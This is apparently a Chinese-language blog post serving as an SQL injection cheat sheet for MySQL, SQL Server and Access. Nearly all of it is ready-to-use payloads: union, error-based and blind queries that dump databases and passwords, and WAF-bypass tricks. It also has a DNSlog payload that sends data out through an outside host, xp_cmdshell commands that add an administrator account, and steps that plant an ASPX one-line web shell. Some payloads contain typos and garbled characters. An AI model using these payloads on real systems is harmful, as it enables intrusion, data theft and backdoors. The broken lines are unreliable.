一、sql注入概述
SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息,在實戰和測試中,難免會遇見到一些sql注入,下面,我將總結一些常用sql注入中的不同姿勢。
二、尋找sql注入
測試注入點:
1.在參數后面添加單引號或雙引號,查看返回包,如果報錯或者長度變化,可能存在Sql注入
注入點判斷:id=1'(常見)id=1" id=1') id=1')) id=1") id=1"))
2.通過構造get、post、cookie請求再相應的http頭信息等查找敏感喜喜
3.通過構造一些語句,檢測服務器中響應的異常
三、sql注入的類型
附上自己整理的思維導圖學習

常見的數據庫類型,分為關系型數據庫和非關系型數據庫
關系型數據庫有 Oracle、DB2、PostgreSQL、Microsoft SQL Server、Microsoft Access 和 MySQL等。
非關系型數據庫有 Neo4j、MongoDB、Redis、Memcached、MemcacheDB 和 HBase等
Mysql注入

普通注入
數字型:
測試步驟:
(1) 加單引號,URL:xxx.xxx.xxx/xxx.php?id=3';
對應的sql:select * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常;
(2) 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=1;
對應的sql:select * from table where id=3' and 1=1 語句執行正常,與原始頁面沒有差異;
(3) 加and 1=2,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=2;
對應的sql:select * from table where id=3 and 1=2 語句可以正常執行,但是無法查詢出結果,所以返回數據與原始網頁存在差異;
字符型
測試步驟:
(1) 加單引號:select * from table where name='admin'';
由于加單引號后變成三個單引號,則無法執行,程序會報錯;
(2) 加 ' and 1=1 此時sql 語句為:select * from table where name='admin' and 1=1' ,也無法進行注入,還需要通過注釋符號將其繞過;
因此,構造語句為:select * from table where name ='admin' and 1=--' 可成功執行返回結果正確;
(3) 加and 1=2— 此時sql語句為:select * from table where name='admin' and 1=2–'則會報錯;
如果滿足以上三點,可以判斷該url為字符型注入。
判斷列數:
?id=1' order by 4# 報錯
?id=1' order by 3# 沒有報錯,說明存在3列
爆出數據庫:
?id=-1' union select 1,database(),3--+
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata#
爆出數據表:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='數據庫'#
爆出字段:
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='數據表'#
爆出數據值:
?id=-1' union select 1,group_concat(0x7e,字段,0x7e),3 from 數據庫名.數據表名--+
拓展一些其他函數:
system_user() 系統用戶名
user() 用戶名
current_user 當前用戶名
session_user()連接數據庫的用戶名
database() 數據庫名
version() MYSQL數據庫版本
load_file() MYSQL讀取本地文件的函數
@@datadir 讀取數據庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 操作系統
多條數據顯示函數:
concat()、group_concat()、concat_ws()
報錯注入
extractvalue函數:
?id=1' and extractvalue(1, concat(0x7e,(select @@version),0x7e))--+ (爆出版本號)
?id=1' and extractvalue(1, concat(0x7e,(select @@version_compile_os),0x7e))--+ (爆出操作系統)
?id=1' and extractvalue(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e))--+ (爆數據庫)
?id=1' and extractvalue(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e))--+ (爆數據表)
?id=1' and extractvalue(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e))--+(爆字段)
?id=1' and extractvalue(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e))--+ (爆數據)
updatexml函數:
細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:(1,concat(select @@version),1),而extractvalue函數末尾不加1(數值)
?id=1' and updatexml(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e),1)--+ (爆數據庫)
?id=1' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+ (爆數據表)
?id=1' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)--+ (爆字段)
?id=1' and updatexml(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e),1)--+
exp函數溢出錯誤:
在mysql>5.5.53時,則不能返回查詢結果
floor函數:
?id=1' union select 1,count(),concat(0x7e,(select database()),0x7e,floor(rand(0)2))a from information_schema.schemata group by a--+
?id=1' union select 1,count(),concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆數據庫,不斷改變limit得到其他)
?id=1' union select 1,count(),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出users表)
?id=1' union select 1,count(),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出password字段)
?id=1' union select 1,count(),concat(0x7e,(select password from security.users limit 2,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出數值)
延時注入
判斷注入點:
?id=1' and sleep(5)--+ //正常休眠
?id=1" and sleep(5)--+ //無休眠
?id=1') and sleep(5)--+//無休眠
?id=1") and sleep(5)--+//無休眠
?id=1' and if(length(database())=8,sleep(10),1)--+
爆出數據庫:
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10))--+
通過判斷服務器沒有睡眠,ascii碼轉換115為s ,那么就得出數據庫第一個字符為s,下面就可以一次類推了,就不一
substr(database(),N,1)可以通過改變N的值來判斷數據的地幾個字符為什么
爆出數據表:
?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,sleep(5),1)-- -
解釋:security的第一張表的第一個字符ascii為101,為字符e
limit 0,1),N,1還是改變N的的得出第二個字符
再判斷字符(ascii判斷)
?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3))--+
(left語句判斷)
?id=1' and if(left(database(),1)='s',sleep(10),1) --+
?id=1' and if(left(database(),2)='sa',sleep(10),1) --+
Substring函數判斷
type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1='a'),11111,sleep(1))--+
附上一篇文檔(盲注腳本):https://blog.csdn.net/weixin_41598660/article/details/105162513
布爾注入
Left判斷
?id=1' and left(database(),1)='s' --+
?id=1' and left(database(),2) > 'sa' --+
Like語句判斷
?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like 'e%'--+
Ascii語句判斷
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115--+
堆疊注入
?id=1' order by 3%23
?id=1';show tables%23
?id=-1';show columns from 1919810931114514%23
?id=1'; insert into users(id,username,password) values(88,'aaa','bbb')#

二次注入
二次注入一般是用于白盒測試、黑盒測試就算是找到注入也沒辦法攻擊。

博客鏈接:https://zhuanlan.zhihu.com/p/39917830
加密解密注入
Cookie: uname=YWRtaW4%3D
YWRtaW4%3D這是一個base64加密的字符串其中%3D是編碼中的=符號,把他發送到編碼模塊當中解密,得到明文
發現這個是注入點需要將原來的注入方式重新加密發送給服務器,可以構造注入語句進行base64加密進行報錯注入

Dnslog對外注入
通常我們面對SQL注入過程中沒有回顯的情況下,只能通過盲注的方式來判斷是否存在SQL注入,但是,使用盲注,手工測試是需要花費大量的時間的,可能會想到使用sqlmap直接去跑出數據,但在實際測試中,使用sqlmap跑盲注,有很大的幾率,網站把ip給封掉,這就影響了我們的測試進度,也許你也可以使用代理池
注入語句:
?id=1' and (select load_file(concat('\\',(select hex(user())),'.682y4b.dnslog.cn/abc'))) --+
?id=1' and (select load_file(concat('\\',(select database()),'.682y4b.dnslog.cn/abc'))) --+
中轉注入
比如受害者網站URL注入點是經過編碼的,不能直接結合sqlmap進行漏洞利用,所以本地搭建一個網站,寫一個php腳本編碼文件,就可以結合sqlmap工具進行測試。
因為,注入點經過復雜編碼之后,就不能直接結合sqlmap進行漏洞攻擊了。或者sqlmap自己編寫tamper腳本進行攻擊
可參考:https://blog.csdn.net/weixin_40412037/article/details/110088186
搜索框注入
注入payload:
%' and '%1%'='%1
%' and '%1%'='%2
Sql數據庫語句:select * from sqltest where names like '%要查詢的關鍵字%'
a%’ and 1=1– 正常
a%’ and 1=2– 錯誤
有搜索數據的框可以試試加個%總能大力出奇跡
寬字節注入
前提
1.使用了addslashes()函數
2.數據庫設置了編碼模式為GBK
原理:前端輸入%df時,首先經過addslashes()轉義變成%df%5c%27,之后,在數據庫查詢前,因為設置了GBK編碼,GBK編碼在漢字編碼范圍內的兩個字節都會重新編碼成一個漢字。然后mysql服務器會對查詢的語句進行GBK編碼,%df%5c編碼成了“運”,而單引號逃逸了出來,形成了注入漏洞
?id=%df' and 1=1 --+
?id=%df' and 1=2 --+
?id=-1%df' union select 1,2,3 %23
Cookie注入和Xff注入
主要是看看程序員有沒有在cookie中做了一些過濾,我們有沒有可趁之機。
Cookie: ' order by 4--+
X-Forwarded-For注入
代表客戶端真實的IP,通過修改X-Forwarded-for的值可以偽造客戶端IP
嘗試抓包添加插入X-Forwarded-For:127.0.0.1頭進行sql注入
Between注入
主要用于盲注看頁面是否有變化,原理如下,例如username的字符內容是test1,第一個字符是t,a到b搜索不了,頁面不正常。a到t就有了,頁面正常
mysql語句:select * from users where id =1 and substr(username,1,1) between 'a' and 'b';
select * from users where id =1 and substr(username,1,1) between 'a' and 't';
借鑒大佬圖片:

limit注入
mysql語句:select * from limit test limit 1,[可控點] or select ... limit [可控點]
limit后面能夠拼接的函數只有into和procedure,into可以用來寫文件,本文我們不考慮。在Limit后面 可以用 procedure analyse()這個子查詢,而且只能用extractvalue 和 benchmark 函數進行延時
procedure analyse(updatexml(rand(),concat(0x3a,benchmark(10000000,sha1(1)))),1)
select id from users;
select id from users limit 0,1 union select username from users;

select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
基于時間盲注:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
order by注入
select * from 表名 order by 列名(或者數字) asc;升序(默認升序)
select * from 表名 order by 列名(或者數字) desc;降序
當頁面出現mysql報錯信息時,注入點在 order by后面,此時可以利用報錯信息進行注入,嘗試報錯注入

?sort=1 and(select extractvalue(0x7e,concat(0x7e,database(),0x7e)))
?sort=(select 1 from(select 1 and if(ascii(substr((user()),1,1))=114,sleep(5),1))x)
Sql注入繞過姿勢
繞過空格
兩個空格代替一個空格,用Tab代替空格,%a0=空格:
payload:
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/
最基本的繞過方法,用注釋替換空格:/* 注釋 */

括號繞過空格
mysql語句:select(user())from dual where(1=1)and(2=2)
這種過濾方法常常用于time based盲注,例如:
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
繞過引號
這個時候如果引號被過濾了,那么上面的where子句就無法使用了。那么遇到這樣的問題就要使用十六進制來處理這個問題了。users的十六進制的字符串是7573657273。那么最后的sql語句就變為了:
select column_name from information_schema.tables where table_name=0x7573657273
繞過逗號
在使用盲注的時候,需要使用到substr(),mid(),limit。這些子句方法都需要使用到逗號。對于substr()和mid()這兩個方法可以使用from to的方式來解決:
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
使用join:
union select 1,2#
等價于 union select * from (select 1)a join (select 2)b
使用like:
select ascii(mid(user(),1,1))=80 #
等價于 select user() like 'r%'
對于limit可以使用offset來繞過:
select * from news limit 0,1 #
等價于下面這條SQL語句 select * from news limit 1 offset 0
繞過比較符號()
(過濾了<>:sqlmap盲注經常使用<>,使用between的腳本):
使用greatest()、least():(前者返回最大值,后者返回最小值)
同樣是在使用盲注的時候,在使用二分查找的時候需要使用到比較操作符來進行查找。如果無法使用比較操作符,那么就需要使用到greatest來進行繞過了。最常見的一個盲注的sql語句:
select * from users where id=1 and ascii(substr(database(),0,1))>64
此時如果比較操作符被過濾,上面的盲注語句則無法使用,那么就可以使用greatest來代替比較操作符了。greatest(n1,n2,n3,…)函數返回輸入參數(n1,n2,n3,…)的最大值。那么上面的這條sql語句可以使用greatest變為如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
Between注入
主要用于盲注看頁面是否有變化,原理如下,例如username的字符內容是test1,第一個字符是t,a到b搜索不了,頁面不正常。a到t就有了,頁面正常

使用between and:
使用between and:
between a and b:
between 1 and 1; 等價于 =1
or and xor not繞過:
and=&& or=|| xor=| not=!
繞過注釋符
(#,–(后面跟一個空格))過濾:
id=1' union select 1,2,3||'1
最后的or '1閉合查詢語句的最后的單引號,或者:
id=1' union select 1,2,'3
繞過等于號
使用like 、rlike 、regexp 或者 使用< 或者 >
繞過union,select,where等:
(1)使用注釋符繞過:
常用注釋符://,-- , /**/, #, --+, -- -, ;,%00,--a
用法:U// NION // SE// LECT //user,pwd from user
(2)使用大小寫繞過:
id=-1'UnIoN/**/SeLeCT
(3)內聯注釋繞過:
id=-1'/!UnIoN/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /!WHERE //!TaBlE_ScHeMa/ like database()#
(4) 雙關鍵字繞過(若刪除掉第一個匹配的union就能繞過):
id=-1'UNIunionONSeLselectECT1,2,3–-
Sql注入Bypass
WAF繞過-應用層
Sql繞過姿勢:https://www.csdn.net/tags/MtTaEgwsMTU4NzM1LWJsb2cO0O0O.html
大小寫/關鍵字替換
- id=1UnIoN/**/SeLeCT1,user()
- Hex() bin() 等價于 ascii()
- Sleep() 等價于 benchmark()
- Mid() substring() 等價于substr()
- @@user 等價于 User()
- @@Version 等價于 version()
繞過:
AND -> &&
OR -> || / ^
= -> LIKE,REGEXP, BETWEEN, not < and not >,!<>
> X -> not between 0 and X
WHERE -> HAVING
手工盲注 1'||ascii(substr(database(),2,1))>='120
各種編碼
大小寫,URL,hex,%0A等
注釋使用
//----+#//+:%00/!/等
再次循環
union==uunionnion
分塊傳輸
比如在burp抓包時,存在Post請求的注入,如id=1' and 1=2#
嘗試分塊傳輸

進行分塊傳輸的時候,請求頭要加上Transfer-Encoding: Chunked,然后POST的數據規則如下
2 #下面的數據的長度,可以在后面加個分號然后添加注釋(2; hello world) id #請求的參數 2 #下面的數據的長度 =1 #請求的值,和前面的id連起來 0 #表明分塊請求結束,一個0和兩個換行
最后就是大佬寫出的插件,安裝了一鍵分塊Orz
https://github.com/c0ny1/chunked-coding-converter
等價替換
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
舉例:substring()和substr()無法使用時:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
參數污染
?id=1&id=2&id=3
編碼解碼及加密解密
- s->%73->%25%37%33
- hex,unlcode,base64等
更改請求提交方式
嘗試更改Get請求為Post請求
- GET POST COOKIE等
- POST->multipart/form-data
中間件HPP(HTTP參數污染)

HPP是HTTP Parameter Pollution的縮寫,意為HTTP參數污染。
- 原理:瀏覽器在跟服務器進行交互的過程中,瀏覽器往往會在GET/POST請求里面帶上參數,這些參數會以 名稱-值 對的形勢出現,通常在一個請求中,同樣名稱的參數只會出現一次。但是在HTTP協議中是允許同樣名稱的參數出現多次的。比如下面這個鏈接:http://www.baidu.com?name=aa&name=bb,針對同樣名稱的參數出現多次的情況,不同的服務器的處理方式會不一樣。有的服務器是取第一個參數,也就是name=aa。有的服務器是取第二個參數,也就是name=bb。有的服務器兩個參數都取,也就是name=aa,bb 。這種特性在繞過一些服務器端的邏輯判斷時,非常有用。
- HPP漏洞,與Web服務器環境、服務端使用的腳本有關。如下是不同Web服務器對于出現多個參數時的選擇
- 通過HPP接管賬戶,當網站開發者不熟悉Web服務器對于多參數時如何選擇,將給攻擊者可乘之機。HPP能針對客戶端和服務端進行攻擊。
- HPP參數污染還可以用于繞過某些防火墻對于 SQL注入的檢測,例如當Web服務器對多參數都同時選擇時,我們可以用以下這種方式繞過某些防火墻:
http://www.test.com/index.asp?page=select 1,2,3 from table where id=1
http://www.test.com/index.asp?page=select 1&page=2,3 from table where id=1
HTTP參數污染是指當同一參數出現多次,不同的中間件會解析為不同的結果,以參數color=red&color=blue為例
WAF繞過-數據庫特性
mysql注釋符有三種
- #,/.../,--...(注意--后面有一個空格,或者為--+)
空格符
- 0x09,0x0a-0x0d,0x20,0xa0
特殊符號:%a換行符
- 可結合注釋符使用%23%0a,%2d%2d%0a
內聯注釋
- /!UnIon12345SelEcT/1,user(),數字范圍1000-50540
mysql黑魔法
- select{xusername}from{x11test.admin};
WAF繞過-邏輯層
邏輯問題
- 云waf防護,一般我們會嘗試通過查找站點的真實IP,從而繞過CDN防護。
- 當提交GET、POST同時請求時,進入POST邏輯,而忽略了GET請求的有害參數輸入,可嘗試Bypass。
- HTTP和HTTPS同時開放服務,沒有做HTTP到HTTPS的強制跳轉,導致HTTPS有WAF防護,HTTP沒有防護,直接訪問HTTP站點繞過防護。
- 特殊符號%00,部分waf遇到%00截斷,只能獲取到前面的參數,無法獲取到后面的有害參數輸入,從而導致Bypass。比如:id=1 %00 and 1=2 union select 1,2,column_name from information_schema.columns
性能問題
- 猜想1:在設計WAF系統時,考慮自身性能問題,當數據量達到一定層級,不檢測這部分數據。只要不斷的填充數據,當數據達到一定數目之后,惡意代碼就不會被檢測了。
- 猜想2:不少WAF是C語言寫的,而C語言自身沒有緩沖區保護機制,因此如果WAF在處理測試向量時超出了其緩沖區長度就會引發bug,從而實現繞過。
例子1:
?id=1and(select1)=(Select0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
- 0xA*1000指0xA后面A重復1000次,一般來說對應用軟件構成緩沖區溢出都需要較大的測試長度,這里1000只做參考也許在有些情況下可能不需要這么長也能溢出。
例子2:
?a0=0&a1=1&.....&a100=100&id=1
union
select
1,schema_name,3
from
INFORMATION_SCHEMA.schemata
- 獲取請求參數,只獲取前100個參數,第101個參數并沒有獲取到,導致SQL注入繞過。
白名單
- 方式一:IP白名單
- 從網絡層獲取的ip,這種一般偽造不來,如果是獲取客戶端的IP,這樣就可能存在偽造IP繞過的情況。測試方法:修改http的header來bypasswaf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
方式二:靜態資源
- 特定的靜態資源后綴請求,常見的靜態文件(.js.jpg.swf.css等等),類似白名單機制,waf為了檢測效率,不去檢測這樣一些靜態文件名后綴的請求。
- Aspx/php只識別到前面的.aspx/.php后面基本不識別
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
方式三:url白名單
- 為了防止誤攔,部分waf內置默認的白名單列表,如admin/manager/system等管理后臺。只要url中存在白名單的字符串,就作為白名單不進行檢測。常見的url構造姿勢
學習文章:https://mp.weixin.qq.com/s/gjEPi8DKVsfGyEv8fnzY3Q
Sqlserver注入(mssql)
SQL Server數據庫是由Microsoft開發和推廣的關系數據庫管理系統(DBMS),是一個比較大型的數據庫。端口號為 1433。數據庫后綴名 .mdf,注釋符是 -- 。延時命令:WAITFOR DELAY '0:0:2'
SQLServer有三個權限級別:
- sa權限:數據庫操作,文件管理,命令執行,注冊表讀取等system。SQLServer數據庫的最高權限
- db權限:文件管理,數據庫操作等權限 users-administrators
- public權限:數據庫操作 guest-users

判斷是否是SA權限(數據庫操作、文件管理、命令執行、注冊表讀取)
- select is_srvrolemember('sysadmin')
判斷是否是db_owner權限 (數據庫操作、文件管理)
- select is_member('db_owner')
判斷是否是public權限 (數據庫操作)
- select is_srvrolemember('public')
SQLServer數據庫有6個默認的庫,分別是4個系統數據庫:master 、model 、msdb 、tempdb,和2個實例數據庫:ReportServer、ReportServerTempDB。其中,系統數據庫 model 和 tempdb 默認是沒有數據表的。
附上payload:
select @@version; #查詢數據庫的版本
select @@servername; #查詢服務名
select host_name(); #查詢主機名,如果是用navicat遠程連接的話,主機名是本地的名字
select db_name(); #查詢當前數據庫名
select db_name(1); #查詢第一個數據庫名
select db_name(2); #查詢第二個數據庫名
select user; #查詢當前數據庫的擁有者,結果為 dbo。dbo是每個數據庫的默認用戶,具有所有者權限,全稱:datebaseOwner ,即DbOwner
use tempdb #切換到tempdb表
top n #查詢前n條記錄
limit 2,3 #查詢第2條開始的3條數據,也就是2,3,4
select substring('string',2,1) #截取給定字符串的索引為2的1個字符
select ascii('a') #查詢給定字符串的ascii值
select len('string') #查詢給定字符串的長度
EXEC sp_spaceused @updateusage = N'TRUE'; #查詢當前數據庫的大小
sp_spaceused '表名' #查詢指定表名的大小
EXEC master.sys.xp_dirtree '\192.168.106.5\xx.txt',0,1;
判斷是否是SA權限
select is_srvrolemember('sysadmin')
判斷是否是db_owner權限
select is_member('db_owner')
判斷是否是public權限
select is_srvrolemember('public')
普通注入
order by 2 成功;order by 3 失敗;order by 4 成功;order by 5 失敗 說明列數位于 3-4之間。查找回顯點
id=2 and 1=2 union all select null,null,null,null;挨個替換null 發現 select null,2,null,null 頁面出現回顯。
查找所在庫名稱添加:?id=2 and 1=2 union all select 1,(select db_name()), '3', 4
找到數據庫名稱。提示:這里也可以使用db_name(1)、db_name(2)等查詢其他數據
查找數據庫表名稱:?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = 'U'),'3',4提示: xtype='U' 為 用戶表
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4替換 col_name(object_id('manage'),1) 中的1 依次為 2,3,4查出所有列名。
查取數據: ?id=2 and 1=2 union all select 1,(select top 1 username from manage),'3',4 獲取用戶名;
?id=2 and 1=2 union all select 1,(select top 1 password from manage),'3',4 獲取密碼
全回顯操作
獲取當前數據庫中的表(有2個語句可供選擇使用)【下列語句可一次爆數據庫所有表(只限于mssql2005及以上版本)】
(select quotename(name) from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))--
(select '|'%2bname%2b'|' from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))--
案例:mozhe_dbv2是數據庫名字

一次爆指定表的所有列(只限于mssql2005及以上版本):
(select quotename(name) from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))--
(select '|'%2bname%2b'|' from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))—
案例:mange是表名

報錯注入
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //當前數據庫名
and 1=(select @@servername) //本地服務名
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是否是系統管理員sa
常用權限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin
and 1=(Select IS_MEMBER('db_owner')) //判斷是否是庫權限dbo
and 1= (Select HAS_DBACCESS('master')) //判斷是否有庫讀取權限
(2)單個爆破:
and 1=convert(int,(select top 1 table_name from information_schema.tables ))—獲取第一個表名
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary') )) 獲取第二個表名
and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='login' ))— 獲取第一個列名
and 1=convert(int,(select top 1 username from login ))
and 1=convert(int,(select top 1 password from login ))
(2)全爆語句
爆表,要求sqlserver版本2005以上
and 1=(select quotename(name) from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))--
爆列
and 1=(select quotename(name) from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))—
時間注入
aspx?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5' –
如果是sa權限,就延時。
案例:

判斷內容
aspx?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:5'--
布爾盲注
1.aspx?id=1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109
XP_CMDSHELL檢測
看下目標的xp_cmdshell存儲過程是否還在,主要是想看它有沒有被刪掉,你也可以用這種方式來查詢其它你想知道的任何存儲過程,如果判斷還在,頁面顯示正常,不在的話頁面報錯。
and 1=(select count(*) from master..sysobjects where xtype = 'x' and name = 'xp_cmdshell') –
開啟xpcmdshell一句話。前提 1、支持堆疊 2、擴展存儲過程沒被刪除
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
前提:sa權限探測是否存在1433端口。然后檢測是否開啟CMDSHELL
用XP_CMDSHELL添加用戶hacker:
exec master..xp_cmdshell "whoami"
asp?id=3;exec master.dbo.xp_cmdshell 'net user hacker 123456 /add'
XP_CMDSHELL把用戶hacker加到ADMIN組:
asp?id=3;exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'
學習的文檔:https://www.lagou.com/lgeduarticle/38721.html
https://www.cnblogs.com/vigarbuaa/p/3371500.html
https://www.cnblogs.com/cnjava/archive/2012/06/13/2547524.html
https://blog.csdn.net/weixin_34319999/article/details/92479895
拿shell方法
前提:
1具備sa或者dbo權限
2web目錄的絕對路徑 (可以利用xp_cmdshell的方式尋找絕對路徑,插個眼)
(1)xp_cmdshell拿shell
1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\WWW\aufeng.aspx' ;
(2)差異備份拿shell
大概思路:
假設:http://xxxxx/show.aspx?code=1
中的code參數存在注入點 并且獲得數據庫名字為abc 爆出了物理路徑為e:\xampp\htdocs\dvwa\
(1) 修改數據庫設置為恢復模式
http://xxxxx/show.asp?code=1';alter database abc set RECOVERY FULL –
完全恢復模式是默認的恢復模式。在完全恢復模式下,需要手工的對事務日志進行管理,優點是可以恢復到數據庫失敗或者指定的時間點上。
(2) 備份當前數據庫日志到文件
http://xxxxx/show.aspx?code=1';backup log abc to disk=‘e:\xampp\htdocs\dvwa’ with init –
備份數據庫日志到服務器上,其中路徑是網頁的物理路徑。
(3) 建立一張表和一個字段
http://xxxxx/show.aspx?code=1';create table tt(a text) –
(4) 往表中插入一句話馬子
http://xxxxx/show.asp?code=1';insert into tt(a) values(’<%eval request(“abc”) %>’) –
values中的內容一般轉換為馬子的hex值。
(5) 再次備份日志
http://xxxxx/show.asp?code=1';backup log ahykd_new to disk=‘e:\xampp\htdocs\dvwa\1.aspx’ –
再次備份日志,備份路徑為網站服務器的物理路徑
(6) 刪除表
http://xxxxx/show.aspx?code=1';drop table tt –
然后菜刀嘗試連接http://xxxxx/1.aspx
參考文章:這里是借鑒大佬的筆記的總結
https://www.yuque.com/aufeng/aufeng_good/iganif#Q5PqT
https://www.cnblogs.com/vigarbuaa/p/3371500.html
Access注入
Access數據庫沒有記錄所有表名和列名的表,也就意味著我們需要依靠字典進行猜解表名和列
Access數據庫中沒有注釋符號.因此 /**/ 、 -- 和 # 都沒法使用。
sqlmap語句:python sqlmap.py -u "http://test.com/1.asp?id=1" --tables
普通注入
判斷注入點
在參數后面加 單引號
http://www.example.com/new_list.asp?id=1' #頁面報錯
http://www.example.com/new_list.asp?id=1 and 1=1 #頁面正常
http://www.example.com/new_list.asp?id=1 and 1=2 #頁面報錯
猜字段:1 order by 4 報錯 1 order by 3 正確
有回顯:
?id=-1 union select 1,2,3,4,5,6,7,8,9,10 from admin(此時頁面有顯示2、3)
查列:and exists (select 列名 from 表名) (假設存在user、password)
?id=3 and exists (select * from test)
?id=3 and exists (select * from admin)
?id=3 and exists (select name from admin) 報錯,說明不存在
?id=3 and exists (select username from admin) 說明存在username
?id=3 and exists (select password from admin) 說明存在password
?id=-1 union select 1,2,3,4,5,6,7,8,9,10 找到注入位
?id=-1 union select 1,user,password,4,5,6,7,8,9,10 from admin(即可爆出賬號密碼)
無回顯:
查表:and exists (select * from 表名) 存在的話就返回正常 不存在就返回不正常
查列:and exists (select 列名 from 表名)
查內容:and (select top 1 asc(mid(user,1,1))from admin)=97
and (select top 1 asc(mid(user,2,1))from admin)=97 猜字段(username)中第一條記錄內容的第二個字符
and (select top 2 asc(mid(user,1,1))from admin)=97 猜字段(username)中第二條記錄內容的第一個字符
偏移注入(回顯數連續)
假設已經判斷存在admin表,order by下判斷有35行,且回顯如下回顯字段連續

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,* from admin --返回錯誤頁面
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin --返回錯誤頁面
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,* from admin --返回錯誤頁面
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,* from admin --返回到一個錯誤頁面提示查詢語句出錯,因此admin表的列數為6
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin
